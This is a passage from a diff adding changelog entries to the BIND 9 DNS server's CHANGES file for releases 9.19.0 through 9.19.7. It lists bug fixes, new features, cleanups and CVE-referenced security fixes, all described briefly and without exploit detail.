+			`stacksize` named.conf options. [GL #3676]
+
+6018.	[cleanup]	Remove the --with-tuning configure option.
+			[GL #3664]
+
+6017.	[bug]		The view's zone table was not locked when it should
+			have been leading to race conditions when external
+			extensions that manipulate the zone table where in
+			use. [GL #3468]
+
+6016.	[func]		Change NSEC3PARAM TTL to match the SOA MINIMUM.
+			[GL #3570]
+
+6015.	[bug]		Some browsers (Firefox) send more than 10 HTTP
+			headers.  Bump the number of allowed HTTP headers
+			to 100. [GL #3670]
+
+6014.	[func]		Add isc_hashmap API implementation that implements
+			Robin Hood hashing.  The API requires the keys to
+			be stored with the stored value.  [GL !6790]
+
+	--- 9.19.7 released ---
+
+6013.	[bug]		Fix a crash that could happen when you change
+			a dnssec-policy zone with NSEC3 to start using
+			inline-signing. [GL #3591]
+
+6012.	[placeholder]
+
+6011.	[func]		Refactor the privilege setting part of named_os unit
+			to make libcap on Linux mandatory and use setreuid
+			and setregid if available. [GL #3583]
+
+6010.	[func]		Make the initial interface scan happen before
+			dropping the privileges.  This requires exiting
+			exclusive mode before scanning the interfaces
+			and re-entering it again when we are done.  This
+			is because starting the listening on interfaces
+			requires the loopmgr to be running and not paused.
+			[GL #3583]
+
+6009.	[bug]		Don't trust a placeholder KEYDATA from the managed-keys
+			zone by adding it into secroots. [GL #2895]
+
+6008.	[bug]		Fixed a race condition that could cause a crash
+			in dns_zone_synckeyzone(). [GL #3617]
+
+6007.	[cleanup]	Don't enforce the jemalloc use on NetBSD. [GL #3634]
+
+6006.	[cleanup]	The zone dumping was using isc_task API to launch
+			the zonedump on the offloaded threadpool.  Remove
+			the task and launch the offloaded work directly.
+			[GL #3628]
+
+6005.	[func]		The zone loading has been moved to the offload
+			threadpool instead of doing incremental repeated
+			tasks, so zone loading scheduling is now driven
+			by the operating system scheduler rather than fixed
+			(100) quantum. [GL #3625]
+
+6004.	[func]		Add check-svcb to control the checking of additional
+			constraints on SVBC records.  This change impacts on
+			named, named-checkconf, named-checkzone,
+			named-compilezone and nsupdate. [GL #3576]
+
+6003.	[bug]		Fix an inheritance bug when setting the port on
+			remote servers in configuration. [GL #3627]
+
+6002.	[bug]		Fix a resolver prefetch bug when the record's TTL value
+			is equal to the configured prefetch eligibility value,
+			but the record was erroneously not treated as eligible
+			for prefetching. [GL #3603]
+
+6001.	[bug]		Always call dns_adb_endudpfetch() after calling
+			dns_adb_beginudpfetch() for UDP queries in resolver.c,
+			in order to adjust back the quota. [GL #3598]
+
+6000.	[bug]		Fix a startup issue on Solaris systems with many
+			(reportedly > 510) CPUs. Thanks to Stacey Marshall from
+			Oracle for deep investigation of the problem. [GL #3563]
+
+5999.	[bug]		rpz-ip rules could be ineffective in some scenarios
+			with CD=1 queries. [GL #3247]
+
+5998.	[placeholder]
+
+5997.	[cleanup]	Less ceremonial UNEXPECTED_ERROR() and FATAL_ERROR()
+			reporting macros. [GL !6914]
+
+5996.	[bug]		Fix a couple of bugs in cfg_print_duration(), which
+			could result in generating incomplete duration values
+			when printing the configuration using named-checkconf.
+			[GL !6880]
+
+5995.	[performance]	A new algorithm for DNS name compression based on a
+			hash set of message offsets. Name compression is now
+			more complete as well as being generally faster, and
+			the implementation is less complicated and requires
+			much less memory. [GL !6517]
+
+5994.	[func]		Refactor the isc_httpd implementation used in the
+			statistics channel. [GL !6879]
+
+5993.	[cleanup]	Store dns_name_t attributes as boolean members of
+			the structure. Remove DNS_NAMEATTR_* macros.
+			Fix latent attribute handling bug in RBT. [GL !6902]
+
+	--- 9.19.6 released ---
+
+5992.	[func]		Introduce the new isc_mem_*x() APIs that takes extra
+			flags as the last argument.  Currently ISC_MEM_ZERO
+			and ISC_MEM_ALIGN(n) flags have been implemented that
+			clears the memory to avoid the isc_mem_get()/memset()
+			pattern and make aligned allocation which replaces the
+			previous isc_mem_*_aligned() calls. [GL !6398]
+
+5991.	[protocol]	Add support for parsing and validating "dohpath" to
+			SVCB. [GL #3544]
+
+5990.	[test]		fuzz/dns_message_checksig now creates the key directory
+			it uses when testing in /tmp at run time. [GL #3569]
+
+5989.	[func]		Implement support for DDNS update forwarding using DoT
+			to TLS-enabled primary servers. [GL #3512]
+
+5988.	[bug]		Some out of memory conditions in opensslrsa_link.c
+			could lead to memory leaks. [GL #3551]
+
+5987.	[func]		Provide custom isc_mem based allocators for libuv,
+			OpenSSL and libxml2 libraries that support replacing
+			the internal allocators. [GL #3559]
+
+5986.	[func]		Make the memory context debugging options local to
+			the memory context and make it immutable for the memory
+			context lifetime. [GL #3559]
+
+5985.	[func]		Bump the minimal libuv version to 1.34.0. [GL #3567]
+
+5984.	[func]		'named -V' now reports the list of supported
+			DNSSEC/DS/HMAC algorithms and the supported TKEY modes.
+			[GL #3541]
+
+5983.	[bug]		Changing just the TSIG key names for primaries in
+			catalog zones' member zones was not effective.
+			[GL #3557]
+
+5982.	[func]		Extend dig to allow requests to be signed using SIG(0)
+			as well as providing a mechanism to specify the signing
+			time. [GL !5923]
+
+5981.	[test]		Add dns_message_checksig fuzzer to check messages
+			signed using TSIG or SIG(0). [GL !5923]
+
+5980.	[func]		The internal isc_entropy API provider has been
+			changed from OpenSSL RAND_bytes() to uv_random()
+			to use system provided entropy. [GL !6803]
+
+5979.	[func]		Implement DoT support for nsupdate. [GL #1781]
+
+5978.	[port]		The ability to use pkcs11 via engine_pkcs11 has been
+			restored, by only using deprecated APIs in
+			OpenSSL 3.0.0. BIND needs to be compiled with
+			'-DOPENSSL_API_COMPAT=10100' specified in the CFLAGS
+			at compile time. [GL !6711]
+
+5977.	[bug]		named could incorrectly return non-truncated, glueless
+			referrals for responses whose size was close to the UDP
+			packet size limit. [GL #1967]
+
+5976.	[cleanup]	isc_timer_t objects are now created, started and
+			destroyed in a particular loop, and timer callbacks
+			run in that loop. isc_timer_stop() can still be called
+			from any loop; when run from a different loop than
+			the one associated with the timer, the request will
+			be recorded in atomic variable and the timer will
+			be stopped on the next callback call. [GL #3202]
+
+5975.	[func]		Implement TLS transport support for dns_request and
+			dns_dispatch. [GL #3529]
+
+5974.	[bug]		Fix an assertion failure in dispatch caused by
+			extra read callback call. [GL #3545]
+
+5973.	[bug]		Fixed a possible invalid detach in UPDATE
+			processing. [GL #3522]
+
+5972.	[bug]		Gracefully handle when the statschannel HTTP connection
+			gets cancelled during sending data back to the client.
+			[GL #3542]
+
+5971.	[func]		Add libsystemd sd_notify() support. [GL #1176]
+
+5970.	[func]		Log the reason why a query was refused. [GL !6669]
+
+5969.	[bug]		DNSSEC signing statistics failed to identify the
+			algorithm involved.  The key names have been changed
+			to be the algorithm number followed by "+" followed
+			by the key id (e.g. "8+54274"). [GL #3525]
+
+5968.	[cleanup]	Remove 'resolve' binary from tests. [GL !6733]
+
+5967.	[cleanup]	Flagged the obsolete "random-device" option as
+			ancient; it is now an error to configure it. [GL #3399]
+
+5966.	[func]		You can now specify if a server must return a DNS
+			COOKIE before accepting the response over UDP.
+			[GL #2295]
+
+			server <prefix> { require-cookie <yes_or_no>; };
+
+5965.	[cleanup]	Move the duplicated ASCII case conversion tables to
+			isc_ascii where they can be shared, and replace the
+			various hot-path tolower() loops with calls to new
+			isc_ascii implementations. [GL !6516]
+
+5964.	[func]		When an international domain name is not valid, DiG will
+			now pass it through unchanged, instead of stopping with
+			an error message. [GL #3527]
+
+5963.	[bug]		Ensure struct named_server is properly initialized.
+			[GL #6531]
+
+	--- 9.19.5 released ---
+
+5962.	[security]	Fix memory leak in EdDSA verify processing.
+			(CVE-2022-38178) [GL #3487]
+
+5961.	[placeholder]
+
+5960.	[security]	Fix serve-stale crash that could happen when
+			stale-answer-client-timeout was set to 0 and there was
+			a stale CNAME in the cache for an incoming query.
+			(CVE-2022-3080) [GL #3517]
+
+5959.	[security]	Fix memory leaks in the DH code when using OpenSSL 3.0.0
+			and later versions. The openssldh_compare(),
+			openssldh_paramcompare(), and openssldh_todns()
+			functions were affected. (CVE-2022-2906) [GL #3491]
+
+5958.	[security]	When an HTTP connection was reused to get
+			statistics from the stats channel, and zlib
+			compression was in use, each successive
+			response sent larger and larger blocks of memory,
+			potentially reading past the end of the allocated
+			buffer. (CVE-2022-2881) [GL #3493]
+
+5957.	[security]	Prevent excessive resource use while processing large
+			delegations. (CVE-2022-2795) [GL #3394]
+
+5956.	[func]		Make RRL code treat all QNAMEs that are subject to
+			wildcard processing within a given zone as the same
+			name. [GL #3459]
+
+5955.	[port]		The libxml2 library has deprecated the usage of
+			xmlInitThreads() and xmlCleanupThreads() functions. Use
+			xmlInitParser() and xmlCleanupParser() instead.
+			[GL #3518]
+
+5954.	[func]		Fallback to IDNA2003 processing in dig when IDNA2008
+			conversion fails. [GL #3485]
+
+5953.	[bug]		Fix a crash on shutdown in delete_trace_entry(). Add
+			mctx attach/detach pair to make sure that the memory
+			context used by a memory pool is not destroyed before
+			the memory pool itself. [GL #3515]
+
+5952.	[bug]		Use quotes around address strings in YAML output.
+			[GL #3511]
+
+5951.	[bug]		In some cases, the dnstap query_message field was
+			erroneously set when logging response messages.
+			[GL #3501]
+
+5950.	[func]		Implement a feature to set an Extended DNS Error (EDE)
+			code on responses modified by RPZ. [GL #3410]
+
+5949.	[func]		Add new isc_loopmgr API that runs the application
+			event loops and completely replaces the isc_app
+			API. Refactor the isc_taskmgr, isc_timermgr and
+			isc_netmgr to use the isc_loopmgr event loops.
+			[GL #3508]
+
+5948.	[bug]		Fix nsec3.c:dns_nsec3_activex() function, add a missing
+			dns_db_detachnode() call. [GL #3500]
+
+5947.	[func]		Change dnssec-policy to allow graceful transition from
+			an NSEC only zone to NSEC3. [GL #3486]
+
+5946.	[bug]		Fix statistics channel's handling of multiple HTTP
+			requests in a single connection which have non-empty
+			request bodies. [GL #3463]
+
+5945.	[bug]		If parsing /etc/bind.key failed, delv could assert
+			when trying to parse the built in trust anchors as
+			the parser hadn't been reset. [GL !6468]
+
+5944.	[bug]		Fix +http-plain-get and +http-plain-post options
+			support in dig. Thanks to Marco Davids at SIDN for
+			reporting the problem. [GL !6672]
+
+5943.	[placeholder]
+
+5942.	[bug]		Fix tkey.c:buildquery() function's error handling by
+			adding the missing cleanup code. [GL #3492]
+
+5941.	[func]		Zones with dnssec-policy now require dynamic DNS or
+			inline-siging to be configured explicitly. [GL #3381]
+
+5940.	[placeholder]
+
+5939.	[placeholder]
+
+5938.	[bug]		An integer type overflow could cause an assertion
+			failure when freeing memory. [GL #3483]
+
+5937.	[cleanup]	The dns_rdatalist_tordataset() and
+			dns_rdatalist_fromrdataset() functions can no
+			longer fail. Clean up their prototypes and error
+			handling, and that of other calling functions that
+			subsequently cannot fail, including
+			dns_message_setquerytsig(). [GL #3467]
+
+5936.	[bug]		Don't enable serve-stale for lookups that error because
+			it is a duplicate query or a query that would be
+			dropped. [GL #2982]
+
+5935.	[bug]		Fix DiG lookup reference counting bug, which could
+			be observed in NSSEARCH mode. [GL #3478]
+
+	--- 9.19.4 released ---
+
+5934.	[func]		Improve fetches-per-zone fetch limit logging to log
+			the final allowed and spilled values of the fetch
+			counters before the counter object gets destroyed.
+			[GL #3461]
+
+5933.	[port]		Automatically disable RSASHA1 and NSEC3RSASHA1 in
+			named on Fedorda 33, Oracle Linux 9 and RHEL9 when
+			they are disabled by the security policy. [GL #3469]
+
+5932.	[bug]		Fix rndc dumpdb -expired and always include expired
+			RRsets, not just for RBTDB_VIRTUAL time window.
+			[GL #3462]
+
+5931.	[bug]		Fix DiG query error handling robustness in NSSEARCH
+			mode by making sure that udp_ready(), tcp_connected(),
+			and send_done() callbacks start the next query in chain
+			even if there is some kind of error with the previous
+			query. [GL #3419]
+
+5930.	[bug]		Fix DiG query retry and fail-over bug in UDP mode.
+			Also simplify the overall retry and fail-over logic to
+			make it behave predictably, and always respect the
+			documented +retry/+tries count set by a command-line
+			option (or use the default values of 2 or 3
+			respectively). [GL #3407]
+
+5929.	[func]		The use of the "max-zone-ttl" option in "zone" and
+			"options" blocks is now deprecated; this should
+			now be configured as part of "dnssec-policy"
+			instead. The old option still works in zones
+			with no "dnssec-policy" configured, but a warning
+			will be logged when loading configuration. Its
+			functionality will be removed in a future release.
+			Using "max-zone-ttl" and "dnssec-policy" in the
+			same zone is now a fatal error. [GL #2918]
+
+5928.	[placeholder]
+
+5927.	[bug]		A race was possible in dns_dispatch_connect()
+			that could trigger an assertion failure if two
+			threads called it near-simultaneously. [GL #3456]
+
+5926.	[func]		Handle transient TCP connect() EADDRINUSE failures
+			on FreeBSD (and possibly other BSDs) by trying three
+			times before giving up. [GL #3451]
+
+5925.	[bug]		With a forwarder configured for all queries, resolution
+			failures encountered during DS chasing could trigger
+			assertion failures due to a logic bug in
+			resume_dslookup() that caused it to call
+			dns_resolver_createfetch() with an invalid name.
+			[GL #3439]
+
+5924.	[func]		When it's necessary to use AXFR to respond to an
+			IXFR request, a message explaining the reason
+			is now logged at level info. [GL #2683]
+
+5923.	[bug]		Fix inheritance for dnssec-policy when checking for
+			inline-signing. [GL #3438]
+
+5922.	[bug]		Forwarding of UPDATE message could fail with the
+			introduction of netmgr. This has been fixed. [GL #3389]
+
+5921.	[test]		Convert system tests to use a default DNSKEY algorithm
+			where the test is not DNSKEY algorithm specific.
+			[GL #3440]
+
+5920.	[bug]		Don't pass back the current name offset when the
+			compression is disabled in the non-improving case.
+			[GL #3423]
+
+	--- 9.19.3 released ---
+
+5919.	[func]		The "rndc fetchlimit" command lists name servers
+			and domain names that are being rate-limited by
+			"fetches-per-server" or "fetches-per-zone" limits.
+			[GL #665]
+
+5918.	[test]		Convert system tests to use a default HMAC algorithm
+			where the test is not HMAC specific. [GL #3433]
+
+5917.	[bug]		Update ifconfig.sh script as is miscomputed interface
+			identifiers when destroying interfaces. [GL #3061]
+
+5916.	[bug]		When resolving a name, don't give up immediately if an
+			authoritative server returns FORMERR; try the other
+			servers first. [GL #3152]
+
+5915.	[bug]		Detect missing closing brace (}) and computational
+			overflows in $GENERATE directives. [GL #3429]
+
+5914.	[bug]		When synth-from-dnssec generated a response using
+			records from a higher zone, it could unexpectedly prove
+			non-existance of records in a subordinate grafted-on
+			namespace. [GL #3402]
+
+5913.	[placeholder]
+
+5912.	[cleanup]	The "glue-cache" option has been removed. The glue cache
+			feature still works and is now permanently enabled.
+			[GL #2147]
+
+5911.	[bug]		Update HTTP listener settings on reconfiguration.
+			[GL #3415]
+
+5910.	[cleanup]	Move built-in dnssec-policies into the defaultconf.
+			These are now printed with 'named -C'. [GL !6467]
+
+5909.	[bug]		The server-side destination port was missing from dnstap
+			captures of client traffic. [GL #3309]
+
+5908.	[bug]		Fix race conditions in route_connected(). [GL #3401]
+
+5907.	[bug]		Fix a crash in dig NS search mode when one of the NS
+			server queries fail. [GL #3207]
+
+5906.	[cleanup]	Various features (e.g. prefetch, RPZ) no longer share
+			common pointers when initiating recursion. This
+			rationalizes recursion quota handling and makes the
+			value of the RecursClients statistics counter more
+			accurate. [GL #3168]
+
+5905.	[bug]		When the TCP connection would be closed/reset between
+			the connect/accept and the read, the uv_read_start()
+			return value would be unexpected and cause an assertion
+			failure. [GL #3400]
+
+5904.	[func]		Changed dnssec-signzone -H default to 0 additional
+			NSEC3 iterations. [GL #3395]
+
+5903.	[bug]		When named checks that the OPCODE in a response matches
+			that of the request, if there is a mismatch named logs
+			an error.  Some of those error messages incorrectly
+			used RCODE instead of OPCODE to lookup the nemonic.
+			This has been corrected. [GL !6420]
+
+5902.	[func]		NXDOMAIN cache records are no longer retained in
+			the cache after expiry, even when serve-stale is
+			in use. [GL #3386]
+
+5901.	[bug]		When processing a catalog zone member zone make sure
+			that there is no configured pre-existing forward-only
+			forward zone with that name. [GL #2506]
+
+5900.	[placeholder]
+
+	--- 9.19.2 released ---
+
+5899.	[func]		Don't try to process DNSSEC-related and ZONEMD records
+			in catz. [GL #3380]
+
+5898.	[cleanup]	Simplify BIND's internal DNS name compression API. As
+			RFC 6891 explains, it isn't practical to deploy new
+			label types or compression methods, so it isn't
+			necessary to have an API designed to support them.
+			Remove compression terminology that refers to Internet
+			Drafts that expired in the 1990s. [GL !6270]
+
+5897.	[bug]		Views that weren't configured to use RFC 5011 key
+			management would still set up an empty managed-keys
+			zone. This has been fixed. [GL #3349]
+
+5896.	[func]		Add some more dnssec-policy checks to detect weird
+			policies. [GL #1611]
+
+5895.	[test]		Add new set of unit test macros and move the unit
+			tests under single namespace in /tests/. [GL !6243]
+
+5894.	[func]		Avoid periodic interface re-scans on Linux by
+			default, where a reliable event-based mechanism for
+			detecting interface state changes is available.
+			[GL #3064]
+
+5893.	[func]		Add TLS session resumption support to the client-side
+			TLS code. [GL !6274]
+
+5892.	[cleanup]	Refactored the the hash tables in resolver.c to
+			use the isc_ht API. [GL !6271]
+
+5891.	[func]		Key timing options for `dnssec-settime` and related
+			utilities now accept "UNSET" times as printed by
+			`dnssec-settime -p`. [GL #3361]
+
+5890.	[bug]		When the fetches-per-server quota was adjusted
+			because of an authoritative server timing out more
+			or less frequently, it was incorrectly set to 1
+			rather than the intended value.  This has been
+			fixed. [GL #3327]
+
+5889.	[cleanup]	Refactored and simplified the shutdown processes in
+			dns_view, dns_resolver, dns_requestmgr, and dns_adb
+			by reducing interdependencies between the objects.
+			[GL !6278]
+
+5888.	[bug]		Only write key files if the dnssec-policy keymgr has
+			changed the metadata. [GL #3302]
+
+5887.	[cleanup]	Remove the on-shutdown mechanics from isc_task API.
+			Replace it by isc_task_send() when we are shutting
+			down. [GL !6275]
+
+	--- 9.19.1 released ---
+
+5886.	[security]	Fix a crash in DNS-over-HTTPS (DoH) code caused by
+			premature TLS stream socket object deletion.
+			(CVE-2022-1183) [GL #3216]
+
+5885.	[bug]		RPZ NSIP and NSDNAME rule processing didn't handle stub
+			and static-stub zones at or above the query name.  This
+			has now been addressed. [GL #3232]
+
+5884.	[cleanup]	Reduce struct padding in ADB address entries, and use a
+			binary hash function to find addresses. [GL !6219]
+
+5883.	[cleanup]	Move netmgr/uv-compat.{c,h} to <isc/uv.h>, so
+			the compatibility libuv shims could be used outside
+			the network manager. [GL !6199]
+
+5882.	[contrib]	Avoid name space collision in dlz modules by prefixing
+			functions with 'dlz_'. [GL !5778]
+
+5881.	[placeholder]
+
+5880.	[func]		Add new named command-line option -C to print built-in
+			defaults. [GL #1326]
+
+5879.	[contrib]	dlz: Add FALLTHROUGH and UNREACHABLE macros. [GL #3306]
+
+5878.	[func]		Check the algorithm name or OID embedded at the start
+			of the signature field for PRIVATEDNS and PRIVATEOID
+			SIG and RRSIG records are well formed. [GL #3296]
+
+5877.	[func]		Introduce the concept of broken catalog zones described
+			in the DNS catalog zones draft version 5 document.
+			[GL #3224]
+
+5876.	[func]		Add DNS Extended Errors when stale answers are returned
+			from cache. [GL #2267]
+
+5875.	[bug]		Fixed a deadlock that could occur if an rndc
+			connection arrived during the shutdown of network
+			interfaces. [GL #3272]
+
+5874.	[placeholder]
+
+5873.	[bug]		Refactor the fctx_done() function to set fctx to
+			NULL after detaching, so that reference counting
+			errors will be easier to avoid. [GL #2969]
+
+5872.	[bug]		udp_recv() in dispatch could trigger an INSIST when the
+			callback's result indicated success but the response
+			was canceled in the meantime. [GL #3300]
+
+5871.	[bug]		Fix dig hanging on TLS context creation errors.
+			[GL #3285]
+
+5870.	[cleanup]	Remove redundant macros in the RBT implementation.
+			[GL !6158]
+
+5869.	[func]		Enable use of IP(V6)_RECVERR on Linux that allows
+			the kernel to report destination host/network
+			unreachable errors to the userspace application.
+			[GL #4251]
+
+5868.	[cleanup]	Use Daniel Lemire's "nearly divisionless" algorithm
+			for unbiased bounded random numbers, and move
+			re-seeding out of the hot path. [GL !6161]
+
+5867.	[bug]		Fix assertion failure triggered by attaching to dns_adb
+			in dns_adb_createfind() that has been triggered to shut
+			down in different thread between the check for shutting
+			down condition and the attach to dns_adb. [GL #3298]
+
+5866.	[bug]		Work around a jemalloc quirk which could trigger an
+			out-of-memory condition in named over time. [GL #3287]
+
+5865.	[func]		Make statistics channel and control channel listen
+			on a single network manager thread. [GL !6032]
+
+5864.	[func]		The OID embedded at the start of a PRIVATEOID public
+			key in a KEY, DNSKEY, CDNSKEY, or RKEY RR is now
+			checked for validity when reading from wire or from
+			zone files, and the OID is printed when
+			'dig +rrcomments' is used. Similarly, the name
+			embedded at the start of a PRIVATEDNS public key
+			is also checked for validity. [GL #3234]
+
+5863.	[bug]		If there was a pending negative cache DS entry,
+			validations depending upon it could fail. [GL #3279]
+
+5862.	[bug]		dig returned a 0 exit status on UDP connection failure.
+			[GL #3235]
+
+5861.	[func]		Implement support for catalog zones change of ownership
+			(coo) mechanism described in the DNS catalog zones draft
+			version 5 document. [GL #3223]
+
+5860.	[func]		Implement support for catalog zones options new syntax
+			based on catalog zones custom properties with "ext"
+			suffix described in the DNS catalog zones draft version
+			5 document. [GL #3222]
+
+5859.	[bug]		Fix an assertion failure when using dig with +nssearch
+			and +tcp options by starting the next query in the
+			send_done() callback (like in the UDP mode) instead
+			of doing that recursively in start_tcp(). Also
+			ensure that queries interrupted while connecting
+			are detached properly. [GL #3144]
+
+5858.	[bug]		Don't remove CDS/CDNSKEY DELETE records on zone sign
+			when using 'auto-dnssec maintain;'. [GL #2931]
+
+5857.	[bug]		Fixed a possible crash during shutdown due to ADB
+			entries being unlinked from the hash table too
+			soon. [GL #3256]
+
+	--- 9.19.0 released ---
+
+5856.	[bug]		The "starting maxtime timer" message related to outgoing
+			zone transfers was incorrectly logged at the ERROR level
+			instead of DEBUG(1). [GL #3208]
+
+5855.	[bug]		Ensure that zone maintenance queries have a retry limit.
+			[GL #3242]
+
+5854.	[func]		Implement reference counting for TLS contexts and
+			allow reloading of TLS certificates on reconfiguration
+			without destroying the underlying TCP listener sockets
+			for TLS-based DNS transports. [GL #3122]
+
+5853.	[bug]		When using both the `+qr` and `+y` options `dig` could
+			crash if the connection to the first server was not
+			successful. [GL #3244]
+
+5852.	[func]		Add new "reuseport" option to enable/disable load
+			balancing of sockets. [GL #3249]
+
+5851.	[placeholder]
+
+5850.	[func]		Run the RPZ update process on the offload threads.
+			[GL #3190]
+
+5849.	[cleanup]	Remove use of exclusive mode in ns_interfacemgr in
+			favor of rwlocked access to localhost and localnets
+			members of dns_aclenv_t structure. [GL #3229]
+
+5848.	[bug]		dig could hang in some cases involving multiple servers
+			in a lookup, when a request fails and the next one
+			refuses to start for some reason, for example if it was
+			an IPv4 mapped IPv6 address. [GL #3248]
+
+5847.	[cleanup]	Remove task privileged mode in favor of processing
+			all events in the loadzone task in a single run
+			by setting the quantum to UINT_MAX. [GL #3253]
+
+5846.	[func]		In dns_zonemgr, create per-thread task, zonetask, and
+			loadtask and pin the zones to individual threads,
+			instead of having "many", spreading the zones among
+			them and hoping for the best.  This also removes any
+			need to dynamically reallocate the pools with memory
+			contexts and tasks. [GL #3226]
+
+5845.	[bug]		Refactor the timer to keep track of posted events
+			as to use isc_task_purgeevent() instead of using
+			isc_task_purgerange().  The isc_task_purgeevent()
+			has been refactored to purge a single event instead
+			of walking through the list of posted events.
+			[GL #3252]
+
+5844.	[bug]		dig +nssearch was hanging until manually interrupted.
+			[GL #3145]
+
+5843.	[bug]		When an UPDATE targets a zone that is not configured,
+			the requested zone name is now logged in the "not
+			authoritative" error message, so that it is easier to
+			track down problematic update clients. [GL #3209]
+
+5842.	[cleanup]	Remove the task exclusive mode use in ns_clientmgr.
+			[GL #3230]
+
+5841.	[bug]		Refactor the address database:
+			- Use self-resizing hash tables, eliminating the
+			  need to go into task-exclusive mode when resizing.
+			- Simplify reference counting of ADB objects
+			  and the process for shutting down. [GL #3213]
+
+5840.	[cleanup]	Remove multiple application context use in dns_client
+			unit. [GL !6041]
+
+5839.	[func]		Add support for remote TLS certificates
+			verification, both to BIND and dig, making it possible
+			to implement Strict and Mutual TLS authentication,
+			as described in RFC 9103, Section 9.3. [GL #3163]
+
+5838.	[cleanup]	When modifying a member zone in a catalog zone, and it
+			is detected that the zone exists and was not created by
+			the current catalog zone, distinguish the two cases when
+			the zone was not added by a catalog zone at all, and
+			when the zone was added by a different catalog zone,
+			and log a warning message accordingly. [GL #3221]
+
+5837.	[func]		Key timing options for `dnssec-keygen` and
+			`dnssec-settime` now accept times as printed by
+			`dnssec-settime -p`. [GL !2947]
+
+5836.	[bug]		Quote the dns64 prefix in error messages that complain
+			about problems with it, to avoid confusion with the
+			following dns64 ACLs. [GL #3210]
+
+5835.	[cleanup]	Remove extrahandlesize from the netmgr, the callers
+			now have to allocate the object before calling
+			isc_nm_setdata() and deallocate the memory in the close
+			callback passed to isc_nm_setdata(). [GL #3227]
+
+5834.	[cleanup]	C99 variable-length arrays are difficult to use safely,
+			so avoid them except in test code. [GL #3201]
+
+5833.	[bug]		When encountering socket error while trying to initiate
+			a TCP connection to a server, dig could hang
+			indefinitely, when there were more servers to try.
+			[GL #3205]
+
+5832.	[bug]		When timing-out or having other types of socket errors
+			during a query, dig wasn't trying to perform the lookup
+			using other servers, in case they exist. [GL #3128]
+
+5831.	[bug]		When resending a UDP request in the result of a timeout,
+			the recv_done() function in dighost.c was prepending
+			the new query into the loookup's queries list instead
+			of inserting, which could cause an assertion failure
+			when the resent query's result was SERVFAIL. [GL #3020]
+
+5830.	[func]		Implement incremental resizing of isc_ht hash tables to
+			perform the rehashing gradually. The catalog zone
+			implementation has been optimized to work with hundreds
+			of thousands of member zones. [GL #3212] [GL #3744]
+
+5829.	[func]		Refactor and simplify isc_timer API in preparation
+			for further refactoring on top of network manager
+			loops. [GL #3202]
+
+5828.	[bug]		Replace single TCP write timer with per-TCP write
+			timers. [GL #3200]
+
+5827.	[cleanup]	The command-line utilities printed their version numbers
+			inconsistently; they all now print to stdout. (They are
+			still inconsistent abotut whether you use `-v` or `-V`
+			to request the version). [GL #3189]
+
+5826.	[cleanup]	Stop dig from complaining about lack of IDN support when
+			the user asks for no IDN translation. [GL #3188]
+
+5825.	[func]		Set the minimum MTU on UDPv6 and TCPv6 sockets and
+			limit TCP maximum segment size (TCP_MAXSEG) to (1220)
+			for both TCPv4 and TCPv6 sockets. [GL #2201]
+
+5824.	[bug]		Invalid dnssec-policy definitions were being accepted
+			where the defined keys did not cover both KSK and ZSK
+			roles for a given algorithm.  This is now checked for
+			and the dnssec-policy is rejected if both roles are
+			not present for all algorithms in use. [GL #3142]
+
+5823.	[func]		Replace hazard pointers based lock-free list with
+			locked-list based queue that's simpler and has no or
+			little performance impact. [GL #3180]
+
+5822.	[bug]		When calling dns_dispatch_send(), attach/detach
+			dns_request_t object as the read callback could
+			be called before send callback dereferencing
+			dns_request_t object too early. [GL #3105]
+
+5821.	[bug]		Fix query context management issues in the TCP part
+			of dig. [GL #3184]
+
+5820.	[security]	An assertion could occur in resume_dslookup() if the
+			fetch had been shut down earlier. (CVE-2022-0667)
+			[GL #3129]
+
+5819.	[security]	Lookups involving a DNAME could trigger an INSIST when
+			"synth-from-dnssec" was enabled. (CVE-2022-0635)
+			[GL #3158]
+
+5818.	[security]	A synchronous call to closehandle_cb() caused
+			isc__nm_process_sock_buffer() to be called recursively,
+			which in turn left TCP connections hanging in the
+			CLOSE_WAIT state blocking indefinitely when
+			out-of-order processing was disabled. (CVE-2022-0396)
+			[GL #3112]
+
+5817.	[security]	The rules for acceptance of records into the cache
+			have been tightened to prevent the possibility of
+			poisoning if forwarders send records outside
+			the configured bailiwick. (CVE-2021-25220) [GL #2950]
+
+5816.	[bug]		Make BIND compile with LibreSSL 3.5.0, as it was using
+			not very accurate pre-processor checks for using shims.
+			[GL #3172]
+
+5815.	[bug]		If an oversized key name of a specific length was used
+			in the text form of an HTTP or SVBC record, an INSIST
+			could be triggered when parsing it. [GL #3175]
+
+5814.	[bug]		The RecursClients statistics counter could underflow
+			in certain resolution scenarios. [GL #3147]
+
+5813.	[func]		The "keep-response-order" ACL has been declared
+			obsolete, and is now non-operational. [GL #3140]
+
+5812.	[func]		Drop the artificial limit on the number of queries
+			processed in a single TCP read callback. [GL #3141]
+
+5811.	[bug]		Reimplement the maximum and idle timeouts for outgoing
+			zone tranfers. [GL #1897]
+
+5810.	[func]		New option '-J' for dnssec-signzone and dnssec-verify
+			allows loading journal files. [GL #2486]
+
+5809.	[bug]		Reset client TCP connection when data received cannot
+			be parsed as a valid DNS request. [GL #3149]
+
+5808.	[bug]		Certain TCP failures were not caught and handled
+			correctly by the dispatch manager, causing
+			connections to time out rather than returning
+			SERVFAIL. [GL #3133]
+
+5807.	[bug]		Add a TCP "write" timer, and time out writing
+			connections after the "tcp-idle-timeout" period
+			has elapsed. [GL #3132]
+
+5806.	[bug]		An error in checking the "blackhole" ACL could cause
+			DNS requests sent by named to fail if the
+			destination address or prefix was specifically
+			excluded from the ACL. [GL #3157]
+
+5805.	[func]		The result of each resolver priming attempt is now
+			included in the "resolver priming query complete" log
+			message. [GL #3139]
+
+5804.	[func]		Add a debug log message when starting and ending
+			the task exclusive mode. [GL #3137]
+
+5803.	[func]		Use compile-time paths in the documentation.
+			[GL #2717]
+
+5802.	[test]		Add system test to test engine_pkcs11. [GL !5727]
+
+5801.	[bug]		Log "quota reached" message when hard quota
+			is reached when accepting a connection. [GL #3125]
+
+5800.	[func]		Add ECS support to the DLZ interface. [GL #3082]
+
+5799.	[bug]		Use L1 cache-line size detected at runtime. [GL #3108]
+
+5798.	[test]		Add system test to test dnssec-keyfromlabel. [GL #3092]
+
+5797.	[bug]		A failed view configuration during a named
+			reconfiguration procedure could cause inconsistencies
+			in BIND internal structures, causing a crash or other
+			unexpected errors. [GL #3060]
+
+5796.	[bug]		Ignore the invalid (<= 0) values returned
+			by the sysconf() check for the L1 cache line
+			size.  [GL #3108]
+
+5795.	[bug]		rndc could crash when interrupted by a signal
+			before receiving a response. [GL #3080]
+
+5794.	[func]		Set the IPV6_V6ONLY on all IPv6 sockets to
